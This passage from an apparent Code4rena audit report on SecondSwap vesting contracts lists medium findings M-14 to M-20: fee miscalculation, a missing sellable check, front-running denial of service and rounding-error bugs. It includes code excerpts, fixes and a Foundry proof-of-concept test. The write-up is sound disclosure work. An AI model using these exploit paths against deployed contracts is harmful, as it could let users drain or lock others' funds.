uint256 _listingId,
uint256 _amount,
address _referral
) external isFreeze { // <= contains the isFreeze modifier
// .... some code here .....
}So when the old marketplace with users listings tries to call the VestingManager contract, it reverts simply because the marketplace recognized in the Vesting manager is not the same as the Old marketplace that contained all previous listings.
// the onlyMarketplace modifier recognizes the new marketplace and not the old marketplace and results in a revert
function unlistVesting(address seller, address plan, uint256 amount) external onlyMarketplace {}
function completePurchase(address buyer, address vesting, uint256 amount) external onlyMarketplace {}
// The modifier check
modifier onlyMarketplace() {
require(msg.sender == marketplace, "SS_VestingManager: caller is not marketplace");
_;
}This leads to the vestings that were in the previous MarketPlace becoming inaccessible, unlistable or unpurchaseable.
Major impact would be that all the vestings that were listed in the old marketplace would no longer be accessible because the vesting manager is pointing to a new marketplace contract, leading to loss of vestings listed before the change happened due to them being inaccessible via unlisting or purchasing.
Recommended mitigation steps
Provide a way to allow after a change in the marketplace contract, the user to be able to remove their vested listings and transfer it back to their address from the previous marketplace.
TechticalRAM (SecondSwap) acknowledged
[M-14] Incorrect referral fee calculations
Submitted by zanderbyte, also found by 0xlucky, 0xNirix, 0XRolko, 0xStalin, Abhan, Agontuk, aster, BajagaSec, BenRai, c0pp3rscr3w3r, ChainSentry, DanielArmstrong, DharkArtz, Drynooo, elvin-a-block, EPSec, franfran20, Gaurav2811, Gaurav2811, Gosho, inh3l, JustUzair, JustUzair, KupiaSec, Lamsy, macart224, macart224, newspacexyz, nslavchev, ogKapten, oualidpro, oualidpro, Rampage, Rhaydden, rspadi, Ryonen, Sabit, sl1, smbv-1923, TheFabled, TheKhans, Uddercover, udo, udo, wickie0x, xKeywordx, y0ng0p3, YouCrossTheLineAlfie, and zia_d_k
When a purchase of listed tokens is performed, the caller can provide a referral address. This address should receive a referral fee as a reward for introducing users to the project. According to the dev team, the referral payment will be done off-chain.
However, in the current implementation, the referralFeeCost calculations are incorrect, which results in much higher fees (ou to 90% of buyersFeeTotal) for the referral than expected.
Proof of Concept
Assume the default protocol values for buyerFee = 250 and referralFee = 1000. Let’s say a user wants to purchase tokens worth 1000 USDT. The buyer fee will be charged on the baseAmount, and for simplicity, we can assume that the _amount is not affected by any discount.
The buyerFeeTotal is calculated as:
buyerFeeTotal = (1000e6 * 250) / 10000 = 25e6
The referrallFeeCost is calculated as:
referralFeeCost =
buyerFeeTotal -
(baseAmount * bfee * IMarketplaceSetting(marketplaceSetting).referralFee()) /
(BASE * BASE);Substituting the values:
referralFeeCost = 25e6 - (1000e6 * 250 * 1000) / (10000 * 10000)
= 25e6 - 2.5e6
= 22.5e6This resulted in a referral fee of 22.5e6 which is much higher than expected.
Recommended mitigation steps
The referralFeeCost should be calculated as a percentage of buyerFeeTotal.
The correct calculation should be:
referralFeeCost =
- buyerFeeTotal -
- (baseAmount * bfee * IMarketplaceSetting(marketplaceSetting).referralFee()) /
- (BASE * BASE);
+ buyerFeeTotal * IMarketplaceSetting(marketplaceSetting).referralFee() / BASEThis will result in referralFee = 2.5e6 (exactly 10% of buyerFeeTotal)
[M-15] Missing sellable check in completePurchase will cause a user to buy a token marked as unsellable by S2ADMIN if it was listed beforehand
Submitted by Bigsam, also found by attentioniayn, Benterkiii, farismaulana, foufrix, hubble, knight18695, and spuriousdragon
A token marked sellable can be purchased because of the absence of the sellable check when completing a spot purchase.
Proof of Concept
A user is not permitted to vest tokens that are not marked as sellable by the contract and admin
/**
* @notice Lists tokens for sale in the marketplace
* @dev Validates selling limits and transfers tokens to contract
* @param seller Address of the token seller
* @param plan Address of the vesting plan
* @param amount Amount of tokens to list
* @custom:throws vesting not sellable
* @custom:throws SS_VestingManager: insufficient availablility
* @custom:throws SS_VestingManager: cannot list more than max sell percent
*/
function listVesting(address seller, address plan, uint256 amount) external onlyMarketplace {
@audit>> require(vestingSettings[plan].sellable, "vesting not sellable");
require(SecondSwap_Vesting(plan).available(seller) >= amount, "SS_VestingManager: insufficient availablility");But these tokens are always marked as sellable on deployment and admin has the Power to mark them as unsellable
/**
* @notice Sets whether tokens can be sold from a vesting contract
* @dev Also initializes default settings for new sellable vestings
* @param vesting Address of the vesting contract
* @param sellable Whether the tokens can be sold
* @custom:throws SS_VestingManager: Unauthorised user
*/
function setSellable(address vesting, bool sellable) external {
@audit >> 1. admin>> require(s2Admin == msg.sender || vestingDeployer == msg.sender, "SS_VestingManager: Unauthorised user");
VestingSettings storage vestingSetting = vestingSettings[vesting];
vestingSetting.sellable = sellable;
if (vestingSetting.maxSellPercent == 0 && vestingSetting.sellable) {
vestingSetting.maxSellPercent = 2000;
vestingSetting.buyerFee = -1;
vestingSetting.sellerFee = -1;
emit MaxSellPercentUpdated(vesting, 2000);
}
emit VestingSellableUpdated(vesting, sellable);
}On deployment it is always set to true
*/
function deployVesting(
address tokenAddress,
uint256 startTime,
uint256 endTime,
uint256 steps,
string memory vestingId
) external {
require(_tokenOwner[msg.sender] == tokenAddress, "SS_VestingDeployer: caller is not the token owner");
//require(_tokenOwner[msg.sender] == address(SecondSwap_StepVesting(_stepVesting).token()), "SS_VestingDeployer: caller is not the token owner"); Can't implement this as the stepVesting Contract is not deployed
require(tokenAddress != address(0), "SS_VestingDeployer: token address is zero"); // 3.2. Arbitrary transfer of vesting
require(startTime < endTime, "SS_VestingDeployer: start time must be before end time");
require(steps > 0, "SS_VestingDeployer: steps must be greater than 0");
require(manager != address(0), "SS_VestingDeployer: manager not set");
address newVesting = address(
new SecondSwap_StepVesting(
msg.sender,
manager,
IERC20(tokenAddress),
startTime,
endTime,
steps,
address(this)
)
);
@audit>>> IVestingManager(manager).setSellable(newVesting, true);
emit VestingDeployed(tokenAddress, newVesting, vestingId);
}After a user lists this token and admin makes this token unsellable, a user can still purchase this token successfully 1 second after it has been marked unsellable because of a missing check in the complete purchase function.
/**
* @notice Completes a purchase of vested tokens
* @dev Updates buyer allocation and transfers tokens
* @param buyer Address of the token buyer
* @param vesting Address of the vesting contract
* @param amount Amount of tokens purchased
*/
function completePurchase(address buyer, address vesting, uint256 amount) external onlyMarketplace {
allocations[buyer][vesting].bought += amount;
SecondSwap_Vesting(vesting).transferVesting(address(this), buyer, amount);
}Recommended mitigation steps
Add a sellable check in the completePurchase function has done in the listVesting function
TechticalRAM (SecondSwap) confirmed
[M-16] Possible DoS scenario when transferring vests to another address
Submitted by Shubham, also found by ABAIKUNANBAEV
https://github.com/code-423n4/2024-12-secondswap/blob/main/contracts/SecondSwap_StepVesting.sol#L225
Vestings can be transferred to another address by a trusted authority. All the necessary parameters are recalculated like the totalAmount & releaseRate for the current owner for the vesting.
However it is possible that a call to transfer the vesting might be frontrun where the owner of the original vesting claims their token resulting in an overall revert.
Proof of Concept
Users can call the claim() to claim their tokens depending on the timespan they were deposited for.
File: SecondSwap_StepVesting.sol
function claim() external {
(uint256 claimableAmount, uint256 claimableSteps) = claimable(msg.sender);
require(claimableAmount > 0, "SS_StepVesting: nothing to claim");
Vesting storage vesting = _vestings[msg.sender];
vesting.stepsClaimed += claimableSteps;
vesting.amountClaimed += claimableAmount;
token.safeTransfer(msg.sender, claimableAmount); // 3.6. DOS caused by the use of transfer and transferFrom functions
emit Claimed(msg.sender, claimableAmount);
}transferVesting() creates a new vesting for the new owner making necessary calculations to ensure that the previous owner does not experience any loss.
File: SecondSwap_StepVesting.sol
function transferVesting(address _grantor, address _beneficiary, uint256 _amount) external {
require(
msg.sender == tokenIssuer || msg.sender == manager || msg.sender == vestingDeployer,
"SS_StepVesting: unauthorized"
);
require(_beneficiary != address(0), "SS_StepVesting: beneficiary is zero");
require(_amount > 0, "SS_StepVesting: amount is zero");
Vesting storage grantorVesting = _vestings[_grantor];
require(
grantorVesting.totalAmount - grantorVesting.amountClaimed >= _amount,
"SS_StepVesting: insufficient balance"
); // 3.8. Claimed amount not checked in transferVesting function
grantorVesting.totalAmount -= _amount;
grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
_createVesting(_beneficiary, _amount, grantorVesting.stepsClaimed, true);
emit VestingTransferred(_grantor, _beneficiary, _amount);
}Scenario
- Bob is the owner of a vesting & has a
totalAmountof100tokens. - Bob been the holder of the vesting for quite sometime & can claim the some amount of tokens. He hasn’t claimed any of its tokens so
amountClaimedis0at this point. - Now, suppose the
tokenIssuerdecides to transfers Bob’s entire vesting of100tokens to Alice’s vesting address so thetokenIssuercallstransferVesting(). - Bob sees this call & frontruns it by calling the
claim(). - Say that a total of
70tokens has now been transferred to Bob which setsamountClaimedfor Bob’s vesting to be70. - When
transferVesting()is executed, it reverts because of the below check.
File: SecondSwap_StepVesting.sol
function transferVesting(address _grantor, address _beneficiary, uint256 _amount) external {
...
Vesting storage grantorVesting = _vestings[_grantor];
> require(
> grantorVesting.totalAmount - grantorVesting.amountClaimed >= _amount,
> "SS_StepVesting: insufficient balance"
); // 3.8. Claimed amount not checked in transferVesting function
...In the above situation, if Bob’s entire amount is claimable & he frontruns the call to transferVesting(), no transfer of vesting is possible to another address.
Recommended mitigation steps
A way would be to pause claiming of tokens when transferring to avoid this issue & unpause later.
calvinx (SecondSwap) commented:
This is a low likelihood scenario.
Due to the low likelihood, this could be low/med.
Clarify in one or two statements what is the impact, and why would you think it is high?
Otherwise, this will be set as low.
ABAIKUNANBAEV (warden) commented:
@Koolex I don’t believe that it’s a high - I think it’s a med as it was stated by the protocol that vesting grantor has to be able to freely transfer the vestings - in this scenario, he can clearly face DoS
And it’s a very high probability as users can use the strategy of not claiming the funds to then DoS the grantor
Taking into account the input above, this is a valid Medium
[M-17] Rounding error in stepDuration calculations.
Submitted by sl1, also found by 056Security, 056Security, 0xEkko, 0xrex, agadzhalov, codertjay, Drynooo, Fon, gesha17, IzuMan, ka14ar, KiteWeb3, macart224, montecristo, NexusAudits, NexusAudits, oualidpro, pulse, rouhsamad, TheKhans, Viquetour, yuza101, and Z3R0
When deploying a vesting plan, token issuer can specify the end time of the schedule and number of steps over which tokens should be released. StepVesting calculates the duration of each distinctive step by dividing the duration of the schedule by number of steps.
SecondSwap_StepVesting.sol#L131-L133
endTime = _endTime;
numOfSteps = _numOfSteps;
stepDuration = (_endTime - _startTime) / _numOfSteps;However, currently it’s possible for calculations to round down, which could lead to multiple problems.
First, consider a scenario where calculations of stepDuration round down to 0. This will result in inability to claim funds from the StepVesting contract. In order to claim tokens from the vesting schedule, a user must call claim() function of the contract, which in turn will call claimable() to get the amount of tokens currently available for claim.
SecondSwap_StepVesting.sol#L193-L194
function claim() external {
(uint256 claimableAmount, uint256 claimableSteps) = claimable(
msg.sender
);When claimable() is invoked, it will try to calculate current step by dividing elapsed time by duration of the step, which will revert as solidity does not support division by 0.
SecondSwap_StepVesting.sol#L173
uint256 currentStep = elapsedTime / stepDuration;Secondly, because of the rounding, it’s possible that vesting will be completed earlier than the schedule. Consider a 3 month vesting plan which equals 7884000 seconds and the number of steps is 1000000. The step duration will be calculated as 7884000 / 1000000 = 7.884, which will round down to 7. Now the actual time it will take to complete the schedule is 7 * 1000000 = 7000000 seconds, which is 81 days, meaning that vesting is completed roughly 10 days earlier than the schedule.
Impact
DoS of the claim() function of the StepVesting contract and premature ending of the vesting schedule.
Proof of Concept
To set up the following PoC in foundry please follow the steps.
Inside the hardhat project directory:
npm install --save-dev @nomicfoundation/hardhat-foundry- Add
import "@nomicfoundation/hardhat-foundry";to the top of your hardhat.config.js file. - Run
npx hardhat init-foundryin your terminal. This will generate a foundry.toml file based on your Hardhat project’s existing configuration, and will install the forge-std library.
Run it with forge test --match-test 'test_sl1VestingCompletedEarlier' -vv.
import "lib/forge-std/src/Test.sol";
import "lib/forge-std/src/console2.sol";
import {SecondSwap_Marketplace} from "../contracts/SecondSwap_Marketplace.sol";
import {SecondSwap_MarketplaceSetting} from "../contracts/SecondSwap_MarketplaceSetting.sol";
import {SecondSwap_StepVesting} from "../contracts/SecondSwap_StepVesting.sol";
import {SecondSwap_VestingDeployer} from "../contracts/SecondSwap_VestingDeployer.sol";
import {SecondSwap_VestingManager} from "../contracts/SecondSwap_VestingManager.sol";
import {TestToken1} from "../contracts/USDT.sol";
contract sl1Test is Test {
SecondSwap_Marketplace public marketplace;
SecondSwap_MarketplaceSetting public marketplaceSettings;
SecondSwap_VestingDeployer public vestingDeployer;
SecondSwap_VestingManager public vestingManager;
TestToken1 public USDT;
address admin = makeAddr("admin");
address whitelist;
function setUp() public {
vm.startPrank(admin);
USDT = new TestToken1();
vestingManager = new SecondSwap_VestingManager();
vestingManager.initialize(admin);
marketplaceSettings = new SecondSwap_MarketplaceSetting(
admin,
admin,
whitelist,
address(vestingManager),
address(USDT)
);
marketplace = new SecondSwap_Marketplace();
marketplace.initialize(address(USDT), address(marketplaceSettings));
vestingDeployer = new SecondSwap_VestingDeployer();
vestingDeployer.initialize(admin, address(vestingManager));
vestingManager.setVestingDeployer(address(vestingDeployer));
vestingManager.setMarketplace(address(marketplace));
vm.stopPrank();
}
function test_sl1VestingCompletedEarlier() public {
address alice = makeAddr("alice");
vm.startPrank(admin);
vestingDeployer.setTokenOwner(address(USDT), admin);
// step duration is 7.884, but it rounds down to 7
vestingDeployer.deployVesting(
address(USDT),
block.timestamp,
// 3 month vesting
block.timestamp + 7884000,
// num of steps
1000000,
"1"
);
// Got the address by console logging it in deployVesting func
address stepVesting = 0xD478411c1478E645A6bb53209E689080aE5101A1;
USDT.approve(stepVesting, 10000e18);
vestingDeployer.createVesting(alice, 10000e18, stepVesting);
vm.stopPrank();
// vesting completed 884000 earlier, which is 10 days earlier than the schedule
vm.warp(block.timestamp + 1000000 * 7);
vm.prank(alice);
SecondSwap_StepVesting(stepVesting).claim();
assertEq(USDT.balanceOf(alice), 10000e18);
}Recommended Mitigation
When calculating stepDuration revert when _endTime - _startTime is not perfectly divisible by _numOfSteps.
Hey Koolex, thank you for judging!
The only reason why I submitted this finding is because contest page mentioned that sponsor’s concerns were: “What would happen if the amount of locked tokens, duration or number of cycles are on the reaches extremes?“.
And even though I don’t necessarily think that 1000000 steps is a super extreme value, but even if we consider it as such, given the attack ideas section of the contest page, I believe this issue should be valid.
@sl1
First, consider a scenario where calculations of stepDuration round down to 0.
Can you explain the possibility of such scenario? what would be the setting by token issuer?
Also, can you give other possibilities with less steps and less vesting plan?
At this moment, it’s duped to F-121. Although, this might be selected as main.
Note: F-121 is S-867 at this moment.
For stepDuration to round down to 0, the result of a calculation should be a 0.999 value or anything less. For example, if the duration of the vesting schedule is 86400 and number of steps is 86401, the calculations will round down to 0. Personally, I think this is less likely than the second scenario provided, so I want to focus on that more.
When calculating stepDuration we use this formula:
(_endTime - _startTime) / _numOfSteps;. Here, the maximum “loss” in seconds can be at most 1 second per step (since at most we can round down from 0.99). If the duration is 190000 and num of steps is 100000, the result value will be 1 second per steps (instead of 1.9 seconds per step), which means that a vesting will be completed 0.9 * 100000 seconds earlier, which in this case is roughly 1 day. The same is true for any other scenario where calculations round down, the only difference would be the magnitude of the issue as there could be a rounding from a lower value, such as 1.4 rounding down to 1, the vesting in this case would be completed 0.4 * 100000 seconds earlier.I think I don’t have much to add further to the discussion and will leave the decision up to you, thank you!
Hi @Koolex, I would like to stress that both scenarios 1 & 2, pointed out by @sl1 are both very likely to occur in the same weight. I have already left a simple explainer for scenario 1 where the stepDuration does round to 0, but I’ll just grab it from the original report and chunk it here to follow up:
- jvotoken protocol owner gets whitelisted by the SecondSwap team to deploy a vesting contract for the jvo token
- jvotoken protocol owner calls deployVesting with the following startTime & endTime: startTime = 1733902691, endTime = 1733902692.
- jvotoken protocol then proceeds to vest 100e18 of jvo tokens to user A. user A’s releaseRate will be 100e18 / 24 = 4,166,666,666,666,666,666
- The entire duration of the vesting elapses. User calls claim. currentTime returned would be the endTime 1733902692. elapsedTime would be 1 because (1733902692 - 1733902691). and in the next line, the function would revert because of a division by 0.
function deployVesting( address tokenAddress, uint256 startTime, uint256 endTime, uint256 steps, string memory vestingId ) external { ... // @audit not enough validation @> require(startTime < endTime, "SS_VestingDeployer: start time must be before end time"); require(steps > 0, "SS_VestingDeployer: steps must be greater than 0"); require(manager != address(0), "SS_VestingDeployer: manager not set"); address newVesting = address( new SecondSwap_StepVesting( msg.sender, // jvo token protocol manager, IERC20(tokenAddress), // jvo token startTime, // 1733902691 endTime, // 1733902692 steps, // 24 address(this) ) ); IVestingManager(manager).setSellable(newVesting, true); emit VestingDeployed(tokenAddress, newVesting, vestingId); }function claimable(address _beneficiary) public view returns (uint256, uint256) { Vesting memory vesting = _vestings[_beneficiary]; if (vesting.totalAmount == 0) { return (0, 0); } @> uint256 currentTime = Math.min(block.timestamp, endTime); if (currentTime < startTime) { return (0, 0); } uint256 elapsedTime = currentTime - startTime; // 1 @> uint256 currentStep = elapsedTime / stepDuration; // 1 / 0 uint256 claimableSteps = currentStep - vesting.stepsClaimed; uint256 claimableAmount; if (vesting.stepsClaimed + claimableSteps >= numOfSteps) { //[BUG FIX] user can buy more than they are allocated claimableAmount = vesting.totalAmount - vesting.amountClaimed; return (claimableAmount, claimableSteps); } claimableAmount = vesting.releaseRate * claimableSteps; return (claimableAmount, claimableSteps); }Thus, I believe @sl1 is right and these issue sets should be a higher severity than LOW.
Based on the input above, this is a valid Med. This also will be the main submission.
[M-18] Unlisting a vesting after seller has claimed additional steps locks tokens which should have been claimable already
Submitted by BenRai
Because unlisted vestings are equally distributed to the unclaimed steps of the seller, if a seller unlists a vesting after he claimed additional steps, tokens which should have been claimable already are locked again and the unlocking schedule is disrupted.
Proof of Concept
The core functionality of the SecondSwap protocol is the option to sell tokens which are currently still locked in the vesting schedule. A user which has a vesting allocation of a token can sell tokens which are currently still locked/unvested to other users by listing them for sale. The tokens are transferred to the VestingManager and the users releaseRate is adjusted accordingly.
E.g. if the user has a vesting of 1,000 tokens where the vesting has 10 steps, the user will have a releaseRate of
1000 tokens /10 steps = 100 tokens / step
The issue arises if a seller unlists a vesting and since the time he listed the vesting a new step was unlocked which he claimed. Because the tokens he gets back by unlisting his vesting are distributed equally by increasing his releaseRate for his unclaimed steps, tokens which should be unlocked will be locked again.
_vestings[_beneficiary].releaseRate =
(_vestings[_beneficiary].totalAmount - _vestings[_beneficiary].amountClaimed) /
(numOfSteps - _vestings[_beneficiary].stepsClaimed);Scenario Illustration
- A vesting has 1000 tokens and 10 steps, meaning that at each step 100 tokens should become claimable.
- Alice has an allocation of 100 tokens and therefore a
releaseRateof10 tokens / step. She lists 50 of her tokens for sale. 50 tokens are transferred to theVestingManagerand her release rate is adjusted to(100 - 50) tokens / 10 steps = 50/10 = 5 tokens/step - The first 5 steps are unlocked and Alice claims her 5 tokens/ step * 5 steps = 25 tokens which leaves her with 25 tokens to claim.
- Since no one has bought her vesting, she decides to unlist it. The 50 tokens which are refunded are distributed to her unclaimed steps by increasing the release rate to
(25 + 50)/(10-5) = 75 / 5 = 15 tokens / step - Alice has all her initial allocation back but she can not claim any additional tokens at the moment, even though according to the initial allocation, once step 5 is unlocked a total of 5 * 10 = 50 tokens of her inital vesting should be claimable.
Recommended Mitigation Steps
To prevent locking tokens which should be claimable when a vesting is unlisted, consider adding the lastStepsClaimedSeller variable listing info indicating the last step the seller has claimed when creating the listing:
struct Listing {
address seller;
uint256 total;
uint256 balance;
uint256 pricePerUnit;
ListingType listingType;
DiscountType discountType;
uint256 discountPct;
uint256 listTime;
+ uint256 lastStepsClaimedSeller;
address whitelist;
uint256 minPurchaseAmt;
Status status;
address currency;
address vestingPlan;
}Also, an additional info about claimable tokens should be added to the vesting information:
struct Vesting {
uint256 stepsClaimed;
uint256 amountClaimed;
uint256 releaseRate;
uint256 totalAmount;
+ uint256 claimableAmount;
}When the seller unlists a vesting, his last stepsClaimed is compared to lastStepsClaimedSeller of the listing. If they differ, they are handled like this:
An amount of refunded tokens proportional to the steps claimed since the vesting was listed are allocated to claimableAmount of the seller and can be claimed immediately since they have been unlocked already:
claimableAmount = refundedTokens * (stepsClaimed-lastStepsClaimedSeller) / numOfSteps
releaseRate of the seller is adjusted using the remaining refunded tokens.
calvinx (SecondSwap) commented:
The token’s should be claimable and not locked. This is a valid issue.
Based on above, a valid Med.
[M-19] Large number of steps in a vesting may lead to loss of beneficiary funds or uneven vesting distribution
Submitted by gesha17
https://github.com/code-423n4/2024-12-secondswap/blob/main/contracts/SecondSwap_StepVesting.sol#L298
Some token owners may create StepVesting contracts with very large numbers of steps, to simulate a continous vesting. This can lead to two edge cases for the releaseRate of a beneficiary:
- Consider a scenario where a vesting is created that has less tokens than there are number of steps in the plan. Then the releaseRate would be calculated to 0, so users will essentially lose their vestings. The severity of this would depend on how many steps there are and how much the vesting is. Suppose there are 100000000 steps in a vesting plan with duration 1 year. A user receives a vesting for 90e6 USDC. So the releaseRate will be calculated as 90e6/100000000 = 0.9, which is rounded down to 0. So the user will lose his tokens.
- This can also lead to a situation where the release rate becomes 1 and a large amount of the tokens get vested at the very last step, creating a very uneven vesting distribution. A requirement is that the number of steps is more than tokenAmount/2. So if the amount of steps is say 10000000 USDC or 10e6 USDC, the number of steps has to be more than 5e6 USDC for the bug to occur. So likelihood is very low.
This is only a real concern with tokens that have very low decimals, which are in scope as per the competition page.
Protocol function is impacted as beneficiaries will not get their liquidity released correctly, so their funds will essentially be temporarily locked.
Proof of Concept
Suppose a scenario where an issuer wants to continuosly release 90000 tokens over the period of 1 day and decides to set 50000 steps.
start time = 0 end time = 86400 numSteps = 50000 amount = 90000 tokens
Let’s analyse how releaseRate will be calculated for the beneficiary:
https://github.com/code-423n4/2024-12-secondswap/blob/main/contracts/SecondSwap_StepVesting.sol#L298
function _createVesting(
address _beneficiary,
uint256 _totalAmount,
uint256 _stepsClaimed,
bool _isInternal
) internal {
...
if (numOfSteps - _vestings[_beneficiary].stepsClaimed != 0) {
// @audit release rate calculation may round down to 1 or 0
_vestings[_beneficiary].releaseRate =
(_vestings[_beneficiary].totalAmount - _vestings[_beneficiary].amountClaimed) /
(numOfSteps - _vestings[_beneficiary].stepsClaimed);
}
...
}stepDuration = 86400/50000 = 1 releaseRate = 90000/50000 = 1
So at step 49999, total vested is 49999 and at step 50000, the rest 40001 tokens get vested at step 50000 which creates a very uneven distribution.
Also, as we can see if the amount of tokens is less than the number of steps, the releaseRate will round down to 0.
Recommended mitigation steps
Mitigation is non-trivial as it would require partially changing protocol design - instead of calculating release rate, calculate release amount based on how many steps are passed in the claimable() function.
calvinx (SecondSwap) commented:
This is a low likelihood scenario.
Due to the low likelihood, this could be low/med.
Clarify in one or two statements what is the impact, and why would you think it is high?
Otherwise, this will be set as low.
Hello Judge,
The impact is high because users will basically lose their vested tokens since releaseRate is rounded down to 0. I don’t think likelihood can be set to low either because a malicious user can abuse this bug to create listings with carefully selected amount such that releaseRate rounds down to 0. An honest user would buy the vestings but then find out that in fact they bought nothing.
Based on the input above, this is a valid medium.
[M-20] maxSellPercent will be broken when a vesting is delisted after a seller has claimed additional steps
Submitted by BenRai
When a listed vesting is delisted after the seller has claimed additional steps, the full listed amount is deducted from the sold value of the seller’s Allocation data. This allows him to sell tokens which should have already been unlocked and claimable which breaks a core functionality of the protocol, namely the sell limit intended by the value set for maxSellPercent.
Proof of Concept
The SecondSwap_VestingManager contract manages the vesting and selling of tokens through the listVesting() function. This function checks if the vesting plan is sellable and verifies the user’s available tokens before allowing a sale. To determine how many tokens a user is allowed to sell, the users current allocation as well as the amounts he has sold and bought until now are taken into account. Each vesting has its own maxSellPercent value to limit the amount of unvested tokens that can be sold at any point in time. This value indicates how many percent of the currently locked tokens should be sellable. E.g. if the total amount of tokens for a vesting is 1000, there are 10 steps and the maxSellPercent is set to 50%, this mean that in the beginning, when all tokens are still locked, a max of 1000 * 50% = 500 tokens should be sellable. At step 5 when only 500 tokens are locked, only 500 * 50% = 250 tokens should be sellable.
However, this invariant is broken if a seller unlist a listed vesting after he has claimed additional steps compared to when he created the listing. This is because the total refunded amount of tokens is deducted from the sold value without regard to the already unlocked and claimed steps of the seller.
function unlistVesting(address seller, address plan, uint256 amount) external onlyMarketplace {
@> allocations[seller][plan].sold -= amount;
SecondSwap_Vesting(plan).transferVesting(address(this), seller, amount);
}Scenario Illustration
The vesting has 1000 tokens, 10 steps and 50% maxSellPercent
- Alice has an allocation of 100 tokens and therefore a releaseRate of 100 / 10 = 10 tokens / step. She creates a listing for 50 tokens. The tokens are transferred to the
VestingManagerand herreleaseRateis decreased to (100-50)/10 = 50/10 = 5 tokens per step. Her value forsoldis set to 50. - Time passes and the first 5 steps are unlocked allowing Alice to claim 5 * 5 = 25 tokens leaving her with a remaining allocation of 50 - 25 = 25 tokens.
- Since no one bought the tokens she put for sale she unlist them. She gets refunded 50 tokens and her
soldvalue is reduced by 50 making it 0 again. She now has her initial vesting back with 25 tokens claimed and 75 tokens unclaimed. - For Alice’s initial vesting, after 5 unlocked steps half of her vesting should still be locked and according to the
maxSellPercentshe should be able to sell 50% of the tokens still locked. ( 100/2 * 50% = 25 tokens). - But since her sold value is 0 and her current allocation is used as a basis to calculate her
sellLimit, she is able to sell 100 * 50% = 50 tokens which is all her locked allocation.
Recommended Mitigation Steps
To prevent sellers being able to sell more tokens than specified in ´maxSellPercent´ after unlisting a vesting, consider adding a stepsClaimedSeller vriable to the Listing struct indicating the last step the seller has claimed when he created the listing:
struct Listing {
address seller;
+ uint256 stepsClaimedSeller;
uint256 total;
uint256 balance;
uint256 pricePerUnit;
ListingType listingType;
DiscountType discountType;
uint256 discountPct;
uint256 listTime;
address whitelist;
uint256 minPurchaseAmt;
Status status;
address currency;
address vestingPlan;
}In addition, the variable amountClaimable needs to be added to the Vesting struct:
struct Vesting {
uint256 stepsClaimed;
uint256 amountClaimed;
+ uint256 amountClaimable;
uint256 releaseRate;
uint256 totalAmount;
}Once the seller unlists a listing, the value of stepsClaimedSeller is compared to the seller’s current stepsClaimed. If the seller has claimed additional steps since he initially listed the vesting, the number of steps is calculated and a proportional amount of the refunded tokens is added to amountClaimable making them claimable instantly:
amountToAdd = refundedAmount * (stepsClaimed – stepsClaimedSeller) / totalSteps
To ensure the calculation of available tokens stays accurate, the same amount needs to be added to amountClaimed.
The remaining amount of refunded tokens is deducted from the sold amount and is available for sale again.
When claiming tokens the amount saved in amountClaimable is added to the amount transfered to the user and amountClaimable is set to 0.
I’m sorry for the late comment, but I think both this issue and S-140 are more fit for the medium severity, as assets are not at risk/no loss of funds (which is a criteria for medium severity in C4 docs), the only impact is user being able to sell more tokens.
calvinx (SecondSwap) commented:
This looks like a medium issue, please include this. We will explore for ways to do 1 fix for both issues.
Considering the input above from the wardens and the sponsor, this is a valid Medium.
Low Risk and Non-Critical Issues
For this audit, 28 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by oualidpro received the top score from the judge.
The following wardens also submitted reports: 0xGondar, 0xluk3, 0xStalin, Abhan, agadzhalov, Asher, aua_oo7, BajagaSec, BugPull, chaduke, dhank, ElKu, EPSec, falconhoof, FalseGenius, IzuMan, K42, KupiaSec, montecristo, newspacexyz, pontifex, pulse, Rhaydden, rspadi, slowbugmayor, Sparrow, and TheKhans.
| Issue | Title | Instances |
|---|---|---|
| L‑01 | There is no way to unsupport a token | 1 |
| L‑02 | There is no check if the _discountPct <= 10000 | 1 |
| L‑03 | Inability to claim tokens if totalAmount < numOfSteps |
1 |
| L‑04 | Fake Vesting events generation using inexistent stepVesting addresses |
1 |
| L‑05 | Each msg.sender can only have one token |
2 |
| L‑06 | Missing check for maxSellPercent <= 10000 |
1 |
| L‑07 | There is no check if the vesting is actually sellable or not | 1 |
[L-01] There is no way to unsupport a token
To start supporting a token the s2Admin call the SecondSwap_Marketplace::addCoin() function, however, if for any reason the s2Admin decide to not support a token anymore, there is no way to remove that token from the isTokenSupport[] list because the value is hardcoded.
Proof of Concept
As you can see in the following code, the value of the isTokenSupport[_token] is always set to true
function addCoin(address _token) external {
require(msg.sender == IMarketplaceSetting(marketplaceSetting).s2Admin(), "SS_Marketplace: Unauthorized user");
require(!isTokenSupport[_token], "SS_Marketplace: Token is currently supported");
// try IERC20Extended(_token).decimals() returns (uint8 decimals) {
// require(decimals <= 18, "SS_Marketplace: Token decimals too high");
// require(decimals > 0, "SS_Marketplace: Token decimals must be greater than 0");
// isTokenSupport[_token] = true;
// emit CoinAdded(_token); // Emit event when coin is added
// } catch {
// revert("SS_Marketplace: Token must implement decimals function");
// }
isTokenSupport[_token] = true;
}SecondSwap_Marketplace::addCoin()
Recommended mitigation steps
Use a parameter instead of hardcoding the value:
- function addCoin(address _token) external {
+ function addCoin(address _token, bool value) external {and
- isTokenSupport[_token] = true;
+ isTokenSupport[_token] = value;[L-02] There is no check if the _discountPct <= 10000
When creating a listing the listVesting() function do not check if the _discountPct is less than 10000 which is the 100%. Therefore, if the _discountPct > 10000 No one will be able to buy a listing due to a revert in the _getDiscountedPrice() function.
Proof of Concept
As you can see in the listVesting() there is no check if the _discountPct is higher than 10000 which allow user to make a listing with higher _discountPct values:
function listVesting(
address _vestingPlan,
uint256 _amount,
uint256 _price,
uint256 _discountPct,
ListingType _listingType,
DiscountType _discountType,
uint256 _maxWhitelist,
address _currency,
uint256 _minPurchaseAmt,
bool _isPrivate
) external isFreeze {
require(
_listingType != ListingType.SINGLE || (_minPurchaseAmt > 0 && _minPurchaseAmt <= _amount),
"SS_Marketplace: Minimum Purchase Amount cannot be more than listing amount"
);
require(_price > 0, "SS_Marketplace: Price must be greater than 0");
require(
(_discountType != DiscountType.NO && _discountPct > 0) || (_discountType == DiscountType.NO),
"SS_Marketplace: Invalid discount amount"
);
require(_amount > 0, "SS_Marketplace: Invalid listing amount"); // 3.10. Inefficient _listingType check
require(isTokenSupport[_currency], "SS_Marketplace: Payment token is not supported");
require(
doesFunctionExist(
address(
IVestingManager(IMarketplaceSetting(marketplaceSetting).vestingManager()).getVestingTokenAddress(
_vestingPlan
)
),
"decimals()"
),
